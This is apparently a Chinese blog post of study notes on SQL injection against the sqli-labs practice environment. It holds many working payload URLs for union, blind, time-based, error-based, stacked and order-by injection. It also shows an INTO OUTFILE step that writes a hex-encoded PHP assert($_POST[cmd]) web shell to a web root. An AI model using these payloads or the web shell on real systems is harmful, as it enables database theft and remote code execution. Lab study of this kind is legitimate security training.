渗透测试之sqlilab基础(二)Sql注入
2020-01-12 10:33
573 查看
1. sql注入的常见漏洞类型
[code]Web phpmyadmin Client navicat 详见https://www.mrwu.red/web/1422.html Mysql 安全配置 参考https://www.jianshu.com/p/7dcaf4c616b0 Mysql 本身漏洞 Cve-2012-2122 https://www.freebuf.com/vuls/3815.html Cve-2016-6663 https://www.jianshu.com/p/7a50d424adb1 Cve-2016-6662 http://avfisher.win/archives/tag/cve-2016-6662 通过注入写webshell 有时候webshell的权限是最高(变向的提权操作)
2. MySQL
MySQL的基本操作 增删改查
MySQL的库
mysql > 5.0 information_schema 从information_scheam 的库中去读取
mysql < 5.0 没有information_schema的库 利用猜解法或者布尔值方法 类似于access注入
3. sql注入类型
union注入
[code]找到报错点 类似于加'等操作 进行注入 判断 and 1=1 and 1=2 布尔值去判断 Select * from users where id=1 and 1=1 爆字段和显位 爆字段(order by) 显位(前面值改为负的 -) 再次从information_schema.schemata tables columns 等表中读出数据 详细参考第一关
布尔盲注
[code]测试页面只有两种结果 语句正确一种状态 语句不正确另一种状态 没有显示出查询的数据 substr() acsii() order() mid() substring() left() right() ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数 http://192.168.20.145/sqlilabs/less-4/?id=1' and length(database())=8--+ ……
时间盲注
[code]sleep() benchmark(50000,md5(1)) 运行md5(1)前面的次数 得出一个粗略的时间 if(a,b,c) a为条件表达式 如果a成立 执行c 否则返回b less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注) http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) %23 http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23 脚本的编写 参考http://klausvon.cn/2018/02/19/sqlilabs-Less-5~6/ 注意点:dnslog注入
报错注入
[code] updatexml() extractvalue() exp() select exp(~(select * FROM(SELECT USER())a)) name_const() select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; floor() Select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
堆叠注入
[code]只有 mssql 和部分 mysql(需要api)支持堆叠注入 http://192.168.20.145/sqlilabs/less-x/?id=1;insert into users(id,username,password)value(20,'test','test')--+
宽字节注入
[code]注意ascii unioncode编码(utf-8) gbk/gb2312等中文编码的区别 https://jingyan.baidu.com/article/020278118741e91bcd9ce566.html 利用特性构造汉字 %udf 对处理mysql_real_escap_string()还有addlashes()函数有绕过
特殊字符的过滤:敏感词的替换和双写绕过、特殊字符特性
特殊字符特性 %0a %0d %0c %09 %08 %00 等系统字符特性 详见waf绕过系统特性
系统特性:hpp参数特性 tomcat 处理第一个参数 apache处理最后一个参数 参考29-31关
4. 提交方法
GET
POST 登录框居多(爆破、注入)
5. 注入位置
useragent cookie refer 注入
update/delete/insert/ 参考18关的user-agent注入
Order by 注入参考第46关
[code]http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1) http://192.168.20.145/sqlilabs/less-46/?sort=rand(0) http://192.168.20.145/sqlilabs/less-46/?sort=rand(1) 通过rand(1)构造语句 报错语句 http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2))) 布尔语句 http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115) http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5)) http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1) 写文件 http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22 lines terminited by 0x3c3f506870204061737365727428245f504f53545b636d645d293b3f3e(网马的是十六进制)
二次注入:参考第24关 注意参数调用的位置
拿webshell 写文件 注意事项
[code]Into outfile Into dumpfile 可以继续追加 类似于echo >> 1.txt 不会覆盖 Union select 1,2,"<?Php @assert($_POST[cmd]);?>" into outfile "c:\\phpstudy\\www\\test.php" --+ Select * from users into outfile "c:\\phpstudy\\www\\test.php" lines terminated by 0x3c3f506870204061737365727428245f504f53545b636d645d293b3f3e
- 点赞 1
- 收藏
- 分享
- 文章举报
相关文章推荐
- 渗透测试之sqlilab基础(三)sqlmap的使用
- 小白日记27:kali渗透测试之Web渗透-Http协议基础,WEB
- cracer第一期 第一课 渗透测试基础(上午)
- Kali Linux渗透测试基础学习
- 从信息收集到提权(渗透测试基础总结)
- Redis 基础梳理以及其在渗透测试中的利用
- 渗透测试之POC基于报错的sql注入
- 坐拥IT高薪安全工程师职位必备知识——web前端黑客与渗透测试基础
- 渗透测试工具sqlmap基础教程
- 测试一下你的T-SQL基础知识-subquery
- Redis 基础梳理以及其在渗透测试中的利用
- 从信息收集到入侵提权(渗透测试基础总结)
- sql website注入 渗透测试
- cracer第一期 第一课 渗透测试基础(下午)
- [笔记]渗透测试基础 - DVWA1.9
- 渗透测试工具sqlmap基础教程
- 测试用到的基础sql语句
- 从信息收集到入侵提权(渗透测试基础总结)
- Sqli-Labs专业SQL注入测试平台
- [Nmap渗透测试指南]第一章(Nmap基础)+第二章(Nmap主机发现)